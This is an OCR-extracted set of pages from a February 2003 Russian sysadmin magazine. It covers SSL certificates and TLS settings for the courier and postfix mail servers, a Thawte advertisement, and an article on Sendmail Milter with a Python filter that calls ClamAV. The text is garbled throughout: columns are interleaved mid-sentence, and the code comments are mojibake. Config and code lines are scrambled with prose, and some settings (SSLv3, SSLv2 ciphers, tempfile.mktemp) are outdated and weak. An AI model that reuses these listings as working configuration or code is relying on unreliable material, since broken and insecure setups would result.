#SSLOptions +FakeBasicAuth +ExportCertData +CompatEnvVars соединений:
#+StrictRequire  это любые процедуры конфиденциальной регистрации;

34
администрирование
 возможность организации защищённого веб-интер- может сильно увеличить сложность работы, если вам не-
фейса для почты; обходимо раздавать сертификаты лично).
 работа с клиентами данной фирмы; Теперь настало время обратиться к защите почтовых
 для защиты некоторых мест от посторонних взглядов серверов. Одним из наиболее удобных вариантов являет-
(это несоизмеримо безопаснее, чем парольная аутен- ся использование courier в качестве pop3- и imap-серве-
тификация!) и подмены IP-адреса; ров, а в качестве MTA использовать postfix. Итак, начнём
 для организации собственного CA. с курьера.
Курьер поставляется с грамотным конфигом, поэтому
Вообще агентства по выдаче персональных серти- у меня всё заработало сразу же безо всяких проблем с
фикатов работают по следующей схеме: пользователь настройкой. Единственное, что необходимо учесть, так это
заходит на сайт и просит сертификат, после чего уста- то, что сертфикат почтового сервера должен быть подпи-
навливается безопасное соединение, и клиент запол- сан CA-сертификатом (по умолчанию при сборке курьера
няет форму регистрации (включая пароль секретного генерится self-signed сертификат, но я бы рекомендовал
ключа), после этого создаётся запрос на сертификацию создать сертификат, как это было сделано в апаче или
(на сервере), и на основе сертификата организации со- воспользовавшись моим скриптиком CA, только необхо-
здаётся сертификат клиента. После этого обычно сер- димо изменить настройки extensions). Кроме этого, сер-
тификат клиента перегоняется в pkcs#12 формат и за- тификат организации, которым был подписан ключ сер-
писывается на диск. Пользователю же по мылу отправ- вера, должен находиться среди доверенных сертифика-
ляется ссылка на полученный сертификат. Этот несча- тов почтового клиента. Я всё же расскажу о некоторых
стный клиент проходит по ссылке, вводит своё имя и полезных опциях конфигурации couriera (imapd и pop3d):
пароль (в безопасном режиме – https) и перенаправля-
ется к своему сертификату. Браузер, получив сертифи- imapd-ssl
# Çàïóñêàåì ðàáîòó ìåõàíèçìà ssl äëÿ imap-ñåðâåðà. Â ôàéëàõ
кат, проверяет его подпись и после запроса помещает # esmtpd-ssl, pop3d-ssl ìîæíî òàêæå óñòàíàâëèâàòü ýòó îïöèþ
в хранилище личных сертификатов. Я здесь не буду # äëÿ êîíêðåòíîãî ñåðâåðà (íàïðèìåð, ESMTPDSSLSTART...).
IMAPDSSLSTART=YES
приводить готового решения, т.к. это дело очень твор-
ческое и создать вышеописанное не представляет тру- # Ïîðò äëÿ áåçîïàñíîãî ñîåäèíåíèÿ (ïî óìîë÷àíèþ ïîðò íå
# îïðåäåë¸í, íî îáû÷íî èñïîëüçóþòñÿ ñëåäóþùèå çíà÷åíèÿ:
да, только надо немного поработать (написать скрип- # IMAPS - 993, POPS - 995 è SMTPS - 465). Àäðåñ çàäàåòñÿ
тик, оформить всё это безобразие, организовать мыль- # êàê IP-àäðåñ.
SSLPORT=993
ную связь и.т. д.). SSLADDRESS=0
А теперь расскажу об одном непременном атрибуте
# PID-ôàéë äëÿ ssl ñåðâåðà.
каждого СА: создания списка недействительных сертифи- SSLPIDFILE=/var/run/courier/imapd[pop3d, esmtpd]-ssl.pid
катов (чтобы не переполнять текст, буду далее применять
обозначение CRL). По истечении определённого срока # Èñïîëüçîâàíèå óëó÷øåííîãî ïðîòîêîëà tls, ïî óìîë÷àíèþ
сертификат становится недействительным. Если это сер- # âûêëþ÷åíî, íî ó ìåíÿ âñ¸ ðàáîòàëî íîðìàëüíî ñ âêëþ÷åíèåì
# ðàñøèðåíèé tls. TLS èñïîëüçóåòñÿ, åñëè íåîáõîäèìî
тфикат сотрудника, то после его увольнения сертификат # èñïîëüçîâàòü îñîáûé ssl ïîðò, ò.å. ïîçâîëÿåò èñïîëüçîâàòü
также необходимо считать недействительным (а если уво- # îñîáûé ïîðò äëÿ ðàáîòû ssl.
IMAPDSTARTTLS=YES
лили вас?). Если секретный ключ сертификата стал дос-
тоянием общественности, то и его вносят в CRL. Для уп- # Çàñòàâëÿåò ðàáîòàòü ìåõàíèçì tls â ëþáûõ ñëó÷àÿõ
# (ïî óìîë÷àíèþ).
равления CRL можно использовать утилиту openssl ca. Для IMAP_TLS_REQUIRED=0
начала создаём crl:
Далее идут дополнительные настройки работы ssl.
openssl ca -gencrl -out crl.pem Обычно они используются при включенной опции
STARTTLS.
Затем просто отменяем нужные ( точнее говоря, не-
нужные) сертификаты командой: # Âñïîìîãàòåëüíàÿ ïðîãðàììà, èñïîëüçóþùàÿñÿ ïðè ðàáîòå
# ñ ssl. Íà ýòàïå êîìïèëÿöèè îíà ñîçäà¸ò ïðîñòîé ñåðòèôèêàò
# (êîòîðûé, âïðî÷åì, ó ìåíÿ íå ðàáîòàë, ïîýòîìó ÿ ñðàçó æå
openssl ca -revoke bad_cert.pem # ñîçäàë íóæíûé ìíå ïðàâèëüíûé ñåðòèôèêàò), à çàòåì, ïî
# èäåå, äîëæíà èñïîëüçîâàòüñÿ äëÿ àóòåíòèôèêàöèè êëèåíòîâ,
# íî, êàê ÿ ïîíÿë, ðàáîòàòü ïîäîáíûì îáðàçîì ýòî åù¸ íå
После каждого применения revoke необходимо обнов- # ðàáîòàåò (íå çàáûâàéòå, ÷òî êóðüåð - ýòî äîâîëüíî ìîëîäîé
# ïðîäóêò), íî âñ¸ æå óêàæåì ýòó îïöèþ íà âñÿêèé ñëó÷àé...
лять CRL командой openssl -gencrl. Для применения внут- COURIERTLS=/usr/bin/couriertls
ри СА необходимо дать клиентам возможность отменять
# Îïðåäåëåíèå âåðñèè èñïîëüçóåìîãî ïðîòîêîëà ssl:
их сертификаты, для этого необходимо предоставить им # SSL2 - SSLv2
доступ к CRL. Если же вы используете аутентификацию # SSL3 - SSLv3
# TLS1 - TLS1
через сертификаты, то пользователям необходимо понять, TLS_PROTOCOL=SSL3
как опасно потерять секретный ключ.
# Äàííàÿ îïöèÿ ðàññìàòðèâàåòñÿ êàê ìåõàíèçì ðàáîòû ssl,
Ещё способ давать пароль для секретного ключа с по- # åñëè îïðåäåë¸í ïàðàìåòð STARTTLS=YES.
мощью /dev/random, закодированного base64, и сообщать TLS_STARTTLS_PROTOCOL=TLS1
пароль клиенту только лично (можно также поиграться со # Ñïèñîê àëãîðèòìîâ øèôðàöèè. Ìîæíî íå òðîãàòü äàííûé
временем действия сертификата клиента, но зачастую это # ïàðàìåòð è îñòàâèòü åãî ïî óìîë÷àíèþ – è òàê ñðàáîòàåò

№2(3), февраль 2003 35


администрирование
# TLS_CIPHER_LIST="ALL:!ADH:RC4+RSA:+SSLv2:@STRENGTH" # êîìàíäà AUTH áåç øèôðîâàíèÿ, ÷òî ñîçäà¸ò óãðîçó
# áåçîïàñíîñòè, óñòàíîâêà ñëåäóþùåé îïöèè â yes ãîâîðèò,
# Ñåðòèôèêàò ñåðâåðà (pem-ôîðìàò). Âíóòðè äàííîãî ôàéëà # ÷òî øèôðîâàíèå áóäåò ïðîèçâîäèòüñÿ òîëüêî äëÿ êîìàíäû
# äîëæíû ñîäåðæàòüñÿ ñåðòèôèêàò è ÍÅÇÀØÈÔÐÎÂÀÍÍÛÉ ñåêðåòíûé # AUTH. Äëÿ ïîëíîãî øèôðîâàíèÿ âñåãî òðàôèêà èñïîëüçóéòå
# êëþ÷, ïîýòîìó äîñòóï ê äàííîìó ôàéëó íà ÷òåíèå äîëæåí áûòü # îïöèþ smtpd_enforce_tls.
# ïðåäîñòàâëåí òîëüêî ïîëüçîâàòåëþ courier. # smtpd_tls_auth_only = no
TLS_CERTFILE=/etc/openssl/imapd.pem
# Ôàéë êåøà ssl äëÿ ñåðâåðà. Ïîääåðæèâàåòñÿ òîëüêî ôîðìàò
# Ñëåäóþùèé ïàðàìåòð îïðåäåëÿåò ïóòü ê êàòàëîãó (èëè ôàéëó), # sdbm, ò.ê. íåîáõîäèìà ïîääåðæêà îäíîâðåìåííîé çàïèñè
# ñîäåðæàùåìó "äîâåðåííûå" ñåðòèôèêàòû (åñëè ÿ ïðàâèëüíî # íåñêîëüêèõ ïðîöåññîâ â äàííûé ôàéë.
# ïîíÿë, òî ýòî ÑÀ-ñåòðèôèêàòû, íî çäåñü ÿ ìîãó îøèáàòüñÿ). smtpd_tls_session_cache_database = sdbm:/etc/postfix/
# Ñåðâåð èñïîëüçóåò äàííûå ñåðòèôèêàòû, åñëè îïöèÿ smtpd_scache
# TLS_VERIFYPEER óñòàíîâëåíà â PEER èëè REQUIREPEER. ×åñòíî
# ãîâîðÿ, ñ ýòèì ÿ ðàçîáðàëñÿ íå äî êîíöà, äà è ñàìè ðàç- # Òàéì-àóò äëÿ êåøà.
# ðàáîò÷èêè êóðüåðà íå î÷åíü-òî ñîâåòóþò èñïîëüçîâàòü äàí- smtpd_tls_session_cache_timeout = 3600s
# íóþ îïöèþ ïî ïðè÷èíå TLS_TRUSTCERTS=/etc/openssl/ca.pem.
# Òðàäèöèîííûé ñïèñîê èñïîëüçóåìûõ àëãîðèòìîâ.
# À âîò ýòî òà ñàìàÿ îïöèÿ àóòåíòèôèêàöèè ÷åðåç ñåðòèôèêàòû, # smtpd_tls_cipherlist = DEFAULT
# îíà ìîæåò ïðèíèìàòü ñëåäóþùèå çíà÷åíèÿ:
# Òàéì-àóò äëèòåëüíîñòè ñîåäèíåíèÿ ss.
# NONE - íå ïðîâåðÿåì ñåðòèôèêàò êëèåíòà âîâñå. smtpd_starttls_timeout = 270s
# PEER - ïðîâåðÿåì ñåðòèôèêàò êëèåíòà, åñëè ïîñëåäíèé # Óñòàíîâêè ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë. Èñïîëüçóþòñÿ
# ïåðåäàë åãî ñåðâåðó. # ñòàíäàðòíûå óñòðîéñòâà ðàíäîìèçàöèè èëè egd-ãåíåðàòîð.
# Óñòàíàâëèâàòüñÿ ìîæåò òàêæå ÷èñëî ñ÷èòûâàåìûõ áàéò è
# REQUIREPEER - ïðîâåðÿåì ñåðòèôèêàò êëèåíòà è çàïðåùàåì # âðåìÿ îáíîâëåíèÿ óñòàíîâêè ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë.
# âõîä, åñëè êëèåíò íå ïðåäîñòàâèë ñåðòèôèêàòà tls_random_source = dev:/dev/urandom
# (èëè ñåðòèôèêàò íåâåðíûé).
TLS_VERIFYPEER=NONE
Также необходимо создать запись в master.cf, чтобы
Думаю, что дальнейшая настройка курьера не должна указать postfix слушать smtps-порт (кроме этого, застав-
вызвать проблем (courier – один из самых простых в на- ляем на порту smtps использовать полную шифрацию пе-
стройке почтовых служб, т.к. все переменные внутри его редаваемого трафика):
конфигов фактически имеют тот же синтаксис, что и пе-
ременные в shell). # tls_random_source = egd:/var/run/egd-pool
# tls_random_bytes = 32
Другой популярный мыльный сервер – postfix – также # tls_random_reseed_period = 3600s
легко поддаётся бронированию с помощью ssl. Сразу же
приведу пример настройки smtpd postfixa, который исполь-
зует при передаче почты механизм ssl:

main.cf:
# Ñîçäà¸ì ñòàíäàðòíûé ñåðâåðíûé ñåðòèôèêàò (êàê áûëî óæå
# íåñêîëüêî ðàç îïèñàíî) è íåçàøèôðîâàííûé ñåêðåòíûé êëþ÷. Вместо имени сервиса можно указать номер порта
# Óêàçûâàåì äàëåå ê íèì ïóòü. (обычно 465).
smtpd_tls_cert_file = /etc/openssl/smtpd.pem
smtpd_tls_key_file = /etc/openssl/smtpd.key Sendmail также обладает возможностью использова-
ния ssl, но я не являюсь специалистом по sendmail (на-
# Óêàçûâàåì òàêæå ïóòü ê trusted root CA ôàéëó (pem-ôîðìàò)
# Ìîæíî òàêæå óêàçàòü ïóòü ê êàòàëîãó ñ CA-ñåðòèôèêàòàìè, верное, виной тому паталогическая лень и наличие более
# íî òóò âîçíèêàþò ïðîáëåìû ñ õåø-ôàéëàìè (ÿ èõ óæå простых в освоении инструментов).
# îïèñûâàë ïðè ðàçãîâîðå îá àïà÷å).
smtpd_tls_CAfile = /etc/openssl/ca.pem SSL, похоже, будет всё больше и больше использовать-
ся в сети, защищая стандартные протоколы. Поэтому каж-
# Óðîâåíü çàïèñè â ëîã. Ìåíÿåòñÿ îò 0 äî 4: дый администратор должен знать принципы работы с ssl.
# 0 – çàáèâàåì íà ëîãè; И если я помог кому-то в освоении данной темы, то могу
# 1 – âûâîäèì èíôîðìàöèþ î ñåðòèôèêàòàõ ïðè óñòàíîâêå
# ñîåäèíåíèÿ; считать свою задачу выполненной!
# 2,3,4 – ðàçëè÷íàÿ äîïîëíèòåëüíàÿ èíôà (âðîäå hex-äàìïîâ
# ïàêåòîâ è.ò.ä.).
# Ðåêîìåíäóåòñÿ èñïîëüçîâàòü çíà÷åíèå 1 èëè 2. Приведу некоторые ссылки:
smtpd_tls_loglevel = 1 http://www.openssl.org – основной сайт с документаци-
# Ïî óìîë÷àíèþ ìåõàíèçì ssl íå âêëþ÷¸í – âêëþ÷àåì åãî. ей и исходниками openssl;
smtpd_use_tls = yes http://www.apache-ssl.org – домашняя страница mod_ssl
# Óñòàíîâêîé ñëåäóþùåé îïöèè â yes (ïî óìîë÷àíèþ - no) апача;
# ìîæíî äîáèòüñÿ òîãî, ÷òî âñå êîìàíäû smtp-ñåðâåðà áóäóò http//www.postfix.org – страница производителей postfix;
# âûïîëíÿòüñÿ â ssl-ðåæèìå (ýòî íå ïîäõîäèò äëÿ ñåðâåðîâ,
# êîòîðûå ïðåäîñòàâëÿþò îáå óñëóãè: çàùèù¸ííîå ìûëî http://www.lothar.com/tech/crypto/ – страница генерато-
# è ñòàíäàðòíîå). ра случайностей EGD;
# smtpd_enforce_tls = no
http://www.thawte.com – одна из коммерческих фирм,
# Çàïðîñ íà ñåðòèôèêàò êëèåíòà. ß çäåñü íå áóäó торгующих сертификатами, предоставляет бесплатные
# îñòàíàâëèâàòüñÿ, ò.ê. âðÿä ëè êòî áóäåò ïðèìåíÿòü ýòîò
# óæàñ (òåì áîëåå, ÿ íå âèäåë íè îäíîãî êëèåíòà, ñïîñîáíîãî сертификаты для мыла и платные для всего остального.
# âûïîëíèòü àóòåíòèôèêàöèþ ïî ñåðòèôèêàòó). Ïîýòîìó ëó÷øå
# îñòàâèòü ýòó îïöèþ ïî óìîë÷àíèþ â no (ýòî òàêæå êàñàåòñÿ
# è îïöèè smtpd_tls_req_ccert). И ещё информация для тех, кто решил работать с ssl:
# smtpd_tls_ask_ccert = no не так давно в механизме openssl были обнаружены уяз-
вимости, поэтому не поленитесь сходить на
# Äëÿ ñîâìåñòèìîñòè ñî ñòàðûìè âåðñèÿìè postfix ïðèíèìàåòñÿ www.openssl.org за последними патчами.

36
БЕЗОПАСНОСТЬ
ИНТЕРНЕТ-КОММЕРЦИИ
Традиционные протоколы Интернета (например, HTTP – ос- При этом процесс аутентификации полностью «про-
новной протокол для передачи страниц WWW) не обеспе- зрачен» для пользователя, т.е. не требует от него спе-
чивают практически никакой защиты информации на пути циальных знаний или каких-либо действий, отличаю-
от сервера к клиенту и обратно. Злоумышленники доволь- щихся от обычной работы с интернет-браузером. Про-
но легко могут перехватывать информационные пакеты, токол SSL в настоящее время поддерживается большин-
искажать содержащиеся в них данные и даже перенаправ- ством браузеров, включая Microsoft Internet Explorer,
лять весь информационный обмен с клиентом на поддель- Netscape Navigator, Opera и Mozilla. О работе через бе-
ный сервер, имитирующий работу сервера вашей компа- зопасное соединение с использованием цифрового сер-
нии. В результате частная информация клиента (например, тификата в этих программах говорит специальный ин-
данные его кредитной карты) может стать достоянием по- дикатор в строке статуса.
стороннего, а сделки, совершенные с участием подстав-
ного сервера – предметом споров. Учитывая это, многие
пользователи, совершающие сделки через Интернет, про-
сто отказываются от работы с сайтом, не обеспечивающим
необходимого уровня защиты он-лайновых транзакций.

В сертификатах использована удобная в обращении


и высоконадежная технология криптозащиты с двойным
ключом длиной до 128 бит, причем использование Су-
С другой стороны, пользователь сайта, поддержи- персертификатов позволяет применять ее даже в ста-
вающего безопасный протокол SSL и имеющего циф- рых и международных версиях браузеров, имеющих ог-
ровой сертификат от Thawte, может быть уверен: раничения по длине ключа. Многие российские компа-
 в подлинности (аутентичности) сайта: просматривае- нии, предоставляющие различные сервисы через Ин-
мая пользователем страница получена именно с ука- тернет, а также большое количество банков и иных фи-
занного адреса, а сам сайт действительно принадле- нансовых структур уже давно пользуются цифровыми
жит компании, на имя которой выдан сертификат; сертификатами Thawte для обеспечения безопасности
 в целостности информации: за время передачи дан- информационного обмена со своими клиентами. В Рос-
ных через Интернет они не могут быть изменены или сии пионером по предоставлению цифровых сертифи-
испорчены; катов стала три года назад компания «РБК-Софт», вхо-
 в приватности информации: за счет использования шиф- дящая в группу компаний «РосБизнесКонсалтинг» –
рования данных, передаваемых между клиентом и сер- единственный представитель компании Thawte на тер-
вером, их содержание не станет доступно посторонним. ритории Российской федерации, СНГ и стран Балтии.

№2(3), февраль 2003 37


администрирование

ПОЧТОВЫЙ
ФИЛЬТР
ИЛИ
MILTER =
MAIL + FILTER В версии Sendmail 8.11.6 появилось нововведение, которое приоткрывает
дверцу над таинственными процессами по обработке почтовых сообщений. И
эта дверца – программный интерфейс фильтров по содержанию (content filter
API, или, коротко, Milter) – очень существенный элемент для организации
обработки почты в масштабах всего почтового сервера.

РОМАН СУЗИ
администрирование
Если для индивидуальной настройки доставки почты в рован на C-приложения. Однако пример, который мы рас-
UNIX-системах обычно применяется procmail, то для об- смотрим ниже, использует Python Milter – обертку Milter
работки всей проходящей через сервер почты Milter под- API для языка Python. Эта обертка – полноценный объек-
ходит как нельзя кстати. Для большей эффективности ре- тный интерфейс к обрабатываемому SMTP-соединению.
комендуется применять версию Sendmail 8.12. Отметим, что использование интерпретатора скриптово-
Главными применениями Milter можно считать: го языка существенно не влияет на производительность
 отклонение писем со спамом; приложения, так как приложение работает в режиме де-
 организация проверки на вирусы; мона. Зато мы получаем большой выигрыш в выражении
 обезвреживание опасных вложений; логики приложения-фильтра и доступ к богатым стандар-
 фильтрация по содержимому; тным библиотекам Python.
 организация нестандартной обработки и сортировки Чтобы использовать приложения-фильтры, нужно
почты. скомпилировать Sendmail с поддержкой Milter API. Как
это сделать, описано в документации к Sendmail. В част-
Еще раз отметим, что Milter дает доступ не только ко ности, необходимо указать в файле devtools/Site/
входящим письмам, но и к исходящим. Это позволяет пре- site.config.m4 опцию:
дотвращать злоупотребления почтовым сервером со сто-
роны местных пользователей. APPENDDEF(“conf_sendmail_ENVDEF”, “-DMILTER”)
Одной из очень полезных особенностей Milter являет-
ся его большая эффективность по сравнению с другими Для нашего примера понадобится Python 2.x и Python
средствами обработки почты. Во-первых, Milter дает при- Milter. Первый можно взять на www.python.org, а второй
ложению-фильтру доступ к информации о сообщении на – на http://www.bmsi.com/python/milter.html. Его необхо-
очень ранних стадиях его получения Sendmail: с помощью димо скомпилировать, использовав библиотеки соответ-
Milter приложение-фильтр получает атрибуты SMTP-ко- ствующей версии Sendmail. Подробнее об этом написа-
манд вместе с Sendmail, что позволяет отклонять сооб- но в документации к Python Milter. Возможно, потребует-
щения, еще не получив их в полном объеме. Во-вторых, ся дополнительно установить заголовочные файлы и
Milter поддерживает многопоточность, что позволяет библиотеки libmilter и smutil – конкретнее об этом сказа-
иметь всего один экземпляр приложения-фильтра, а не но на указанной выше www-странице. [Мне даже прихо-
запускать приложение для каждого сообщения (как это дилось переименовывать libsmutil в libsm – прим. авто-
делает procmail). В-третьих, подключение Milter-приложе- ра]. В результате компиляции Python Milter должен полу-
ния к Sendmail можно сделать достаточно безопасным, читься файл milter.so, который вместе с mime.py и
определив требуемую реакцию Sendmail на тот случай, Milter.py нужно поместить в каталог с другими модулями
если приложение-фильтр не отвечает. Наконец, приложе- Python.
ние-фильтр может находиться на другой машине, обща- Python Milter имеет в своем составе два закончен-
ясь с почтовым сервером по TCP/IP. Кстати, фильтр мо- ных примера, однако подходящий именно вам фильтр
жет быть не один. Крючки (hooks) к Milter API имеются для лучше составить самому. Приведенный ниже пример
многих известных антивирусных и антиспамовых про- (листинг 1) Milter поможет вам разобраться в Milter API.
грамм. Конечно, это не законченный продукт, а скорее конст-
Есть, конечно, у Milter и минусы. Во-первых, он рабо- руктор, который нужно доработать, добавив требуемую
тает только с Sendmail. Во-вторых, в нем не очень удобно вам логику.
(хотя и возможно) реализовать фильтрацию на основе ин- В этой небольшой программе описывается класс
дивидуальных настроек пользователей, как это имеет ме- ExampleMilter, основанный на классе Milter из модуля
сто с procmail. Milter. Для каждого SMTP-соединения создается новый
Sendmail и приложение-фильтр общаются через сокет. объект класса ExampleMilter. Отдельные методы этого
Это может быть сокет в файловой системе, IP-сокет (или объекта отвечают за обработку определенных событий
IPv6-сокет). Первый более эффективен, если обработка (см. комментарии в тексте программы). Вся информа-
почты происходит на локальной машине, а второй позво- ция, касающаяся определенного соединения, должна
ляет вынести фильтрацию почты на другую машину (или храниться в атрибутах объекта. В нашем примере так
машины). Например, один хост может быть целиком за- накапливается и хранится bodysize (размер тела сооб-
действован для фильтрации спама, другой – проверять щения) и некоторые вспомогательные объекты. (В Python
сообщения на вирусы, а третий – анализировать соответ- сам объект передается в метод в качестве первого аргу-
ствие содержимого почтовых сообщений принятой поли- мента и традиционно называется self, поэтому для рабо-
тике (скажем, образовательное учреждение может филь- ты с атрибутами внутри метода нужно использовать
тровать письма сомнительного содержания). На любом self.имя_атрибута. Кстати, в Python новые атрибуты мо-
этапе Milter может пропустить (ACCEPT), отклонить гут появляться в объекте в любой удобный момент.)
(REJECT) или выбросить (DROP) обрабатываемое сооб- Здесь следует заметить, что методы вызываются в оп-
щение. Milter также может менять список получателей ределенной последовательности, и нет гарантии, что для
письма, изменять заголовочную часть и тело. При откло- данного соединения будет вызван тот или иной метод.
нении письма можно указать его детальную причину. Например, следом за hello() может сразу последовать
Sendmail написан на C, и поэтому Milter API ориенти- abort(). Это обстоятельство необходимо учитывать при

№2(3), февраль 2003 39


администрирование
ëèñòèíã ¹1
#!/usr/bin/python2 """Âûçûâàåòñÿ äëÿ êàæäîãî ôðàãìåíòà òåëà ñîîáùåíèÿ
""" """
Ïðèìåð Milter, íà îñíîâå êîòîðîãî ìîæíî # Òåëî ñîîáùåíèÿ ïî êóñî÷êàì ïèøåòñÿ â òîò æå ôàéë
íàïèñàòü ñîáñòâåííûé ôèëüòð äëÿ ïî÷òû. if self.fp:
""" self.fp.write(chunk)
import sys, os, Milter, tempfile, re, traceback self.bodysize += len(chunk)
from time import strftime, time, localtime return Milter.CONTINUE

def dbg_except(): def eom(self):


"""Ôóíêöèÿ, êîòîðóþ ìîæíî ñòàâèòü â ÷àñòè except: """Âûçûâàåòñÿ â êîíöå êàæäîãî ñîîáùåíèÿ
îïåðàòîðà try-except äëÿ îòëàäêè """
""" # Çàêðûâàåì âðåìåííûé ôàéë (åñëè îí åñòü)
sys.stderr.write(strftime(“%Y%m%d%H%M%S “) + if self.fp:
"".join(apply(traceback.format_exception, self.fp.close()
sys.exc_info()))) else:
return Milter.TEMPFAIL
class ExampleMilter(Milter.Milter): # Çäåñü ìîæíî äåëàòü âñåâîçìîæíûå ïðîâåðêè
"""Êëàññ, êàæäûé îáúåêò êîòîðîãî îòâå÷àåò çà # è âûçûâàòü ñëåäóþùèå ìåòîäû:
îäíî ñîåäèíåíèå."""
# Óäàëèòü ïîëó÷àòåëÿ:
def log(self, *msg): # self.delrcpt("<user1@host.ru>")
print "%s [%d] %s" % (strftime(“%Y%m%d%H%M%S”),
self.id, " ".join(map(str, msg))) # Äîáàâèòü ïîëó÷àòåëÿ:
# self.addrcpt("<user2@host.ru>")
def __init__(self):
self.tempname=self.mailfrom=self.connfrom=self.fp=None # Äîáàâèòü ïîëå â çàãîëîâîê:
self.id = Milter.uniqueID() # self.addheader("X-Processed-By", "Milter")
def connect(self, hostname, unused, hostaddr): # ...è äðóãîå (ñì. äîêóìåíòàöèþ ê Milter)
"""Âûçûâàåòñÿ ïðè óñòàíîâêå SMTP-ñîåäèíåíèÿ"""
self.log("connect: %s, %s" % (hostname, hostaddr)) # Çàìåíèòü òåëî ñîîáùåíèÿ (ïîêóñî÷íî):
# Çäåñü ìîæíî ñðàçó ïðîâåðèòü è îòêëîíèòü: # for c in chunks:
# return Milter.REJECT # self.replacebody(c)
return Milter.CONTINUE
# Îòêëîíèòü ñîîáùåíèå (ñ óêàçàíèåì ïðè÷èíû):
def hello(self,hostname): # self.setreply(“550”, “5.1.1”, “SPAM”)
"""Âûçûâàåòñÿ ïîñëå êîìàíäû HELO""" # return Milter.REJECT
self.log("hello from %s" % hostname)
return Milter.CONTINUE # Îòáðîñèòü ñîîáùåíèå:
# return Milter.DROP
def envfrom(self, f, *s):
"""Âûçûâàåòñÿ ïîñëå êîìàíäû MAIL FROM # Ïðèíÿòü ñîîáùåíèå:
(èõ ìîæåò áûòü íåñêîëüêî â ðàìêàõ îäíîãî ñîåäèíåíèÿ). self.log(“msg accepted: size=%s” % self.bodysize)
Îòìå÷àåò íà÷àëî ñîîáùåíèÿ.""" return Milter.ACCEPT
self.log("mail from", f, s)
self.tempname = None def abort(self):
self.mailfrom = f """Âûçûâàåòñÿ â ñëó÷àå íåíîðìàëüíîãî çàâåðøåíèÿ
self.headers = [] ñîåäèíåíèÿ
self.bodysize = 0 """
return Milter.CONTINUE self.log("abort. Size=%d" % self.bodysize)
return Milter.CONTINUE
def envrcpt(self, to, *s):
"""Âûçûâàåòñÿ ïîñëå êîìàíäû RCPT TO def close(self):
(èõ ìîæåò áûòü íåñêîëüêî äëÿ êàæäîãî ñîîáùåíèÿ). """Âûçûâàåòñÿ â êîíöå ñîåäèíåíèÿ, äàæå åñëè
""" îíî áûëî ïðåðâàíî
self.log("rcpt to", to, s) """
return Milter.CONTINUE self.log("connection closed.")
sys.stdout.flush()
def header(self, name, val): if self.fp:
"""Âûçûâàåòñÿ äëÿ êàæäîãî ïîëÿ çàãîëîâêà ñîîáùåíèÿ self.fp.close()
""" self.fp = None
# çàïèñàòü ïîëå â ñïèñîê if self.tempname:
self.headers.append("%s: %s" % (name, val)) os.remove(self.tempname)
lname = name.lower() self.tempname = None
if lname in (“subject”, “from”, “to”): return Milter.CONTINUE
self.log(“%s: %s” % (lname, val))
return Milter.CONTINUE if __name__ == "__main__":
os.chdir("/home/milter")
def eoh(self): tempfile.tempdir = "/var/tmp"
"""Âûçûâàåòñÿ ïî îêîí÷àíèè îáðàáîòêè çàãîëîâêà socketname = "inet:2525@milter.host.ru"
""" timeout = 240 # ñåêóíä
# Íà÷èíàåì çàïèñûâàòü ñîîáùåíèå âî âðåìåííûé Milter.factory = ExampleMilter
# ôàéë. Ñíà÷àëà çàãîëîâêè Milter.set_flags(Milter.CHGBODY + Milter.CHGHDRS +
self.tempname = tempfile.mktemp(".milter.tmp") Milter.ADDHDRS + Milter.DELRCPT +
self.fp = open(self.tempname, "w+b") Milter.ADDRCPT)
self.fp.write("\n".join(self.headers) + "\n\n") print """Example Milter start"""
return Milter.CONTINUE sys.stdout.flush()
Milter.runmilter("mainfilter", socketname, timeout)
def body(self, chunk): print """Example Milter shutdown"""
написании своего фильтра, как и то, что в рамках одно- ретному сообщению – в envfrom(). Соответственно, конеч-
го соединения может быть обработано несколько сооб- ной точкой использования таких имен должны быть мето-
щений. В силу чего требуется правильно инициализиро- ды close() и eom().
вать имена: те, что относятся ко всему соединению, нуж- На любом этапе работы фильтра можно решить судь-
но инициализировать в connect(), а относящиеся к конк- бу сообщения, возвратив Milter.REJECT (отклонить),

40
администрирование
ëèñòèíã ¹2 ния от момента передачи конца сообщения фильтру.
def eom(self): В случае использования двух фильтров фрагмент ис-
"""Îáðàáîòêà ñîîáùåíèÿ: ïðîâåðêà íà âèðóñû
ñ ïîìîùüþ àíòèâèðóñà ClamAV""" ходного файла конфигурации Sendmail будет выглядеть
# Çàêðûâàåì âðåìåííûé ôàéë (åñëè îí åñòü) так:
if self.fp:
self.fp.close() MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru,
else: T=C:10m;S:30s;R:30s;E:10m')
return Milter.TEMPFAIL MAIL_FILTER(`filter2', `S=inet:2626@milter.host.ru,
T=C:10m;S:30s;R:30s;E:10m')
try: define(`confINPUT_MAIL_FILTERS', `mainfilter,filter2')
clam=os.popen("clamscanm <%s"%self.tempname,"r").read()
if clam.find("FOUND") != -1: Информация на фильтры посылается в порядке их опи-
self.log(“virus rejected: %s” % clam) сания. Следующий алгоритм взаимодействия Sendmail и
self.setreply(“550”,’5.1.1',’VIRUS FOUND %s’ % clam)
return Milter.REJECT Milter приведен в документации к Sendmail:
except:
dbg_except()
self.log(“msg accepted: size=%s” % self.bodysize) Äëÿ êàæäîãî ñîåäèíåíèÿ:
return Milter.ACCEPT Äëÿ êàæäîãî ôèëüòðà:
Âûçâàòü connect()
Milter.ACCEPT (принять), Milter.DROP (выбросить) или про- Âûçâàòü hello()
должить обработку – Milter.CONTINUE. В методе eom() Äëÿ êàæäîãî ñîîáùåíèÿ (ïîñëåäîâàòåëüíî):
Äëÿ êàæäîãî ôèëüòðà:
можно менять некоторые свойства обрабатываемого со- Âûçâàòü envfrom()
общения (см. комментарии в листинге 1). Напомним, что Äëÿ êàæäîãî ïîëó÷àòåëÿ:
Äëÿ êàæäîãî ôèëüòðà:
состав получателей не обязательно соответствует содер- Âûçâàòü envrcpt()
жимому полей To, Cc, Bcc, так как эти данные передают- Äëÿ êàæäîãî ôèëüòðà:
Äëÿ êàæäîãî ïîëÿ çàãîëîâêà:
ся отдельными командами протокола SMTP. Âûçâàòü header()
Для включения фильтра необходимо добавить пример- Âûçâàòü eoh()
Äëÿ êàæäîãî ôðàãìåíòà òåëà:
но следующие две строки к файлу sendmail.mc: Âûçâàòü body()
Âûçâàòü eom()
MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru, Äëÿ êàæäîãî ôèëüòðà:
T=C:10m;S:30s;R:30s;E:10m') Âûçâàòü close()
define(`confINPUT_MAIL_FILTERS', `mainfilter')
Примечание: при обрыве соединения на любой стадии
